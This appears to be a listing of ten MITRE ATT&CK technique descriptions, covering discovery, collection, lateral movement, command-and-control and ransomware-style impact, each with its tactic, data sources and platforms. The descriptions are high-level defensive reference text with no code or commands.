Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
Data Sources:	Cloud Storage: Cloud Storage Modification, Command: Command Execution, File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre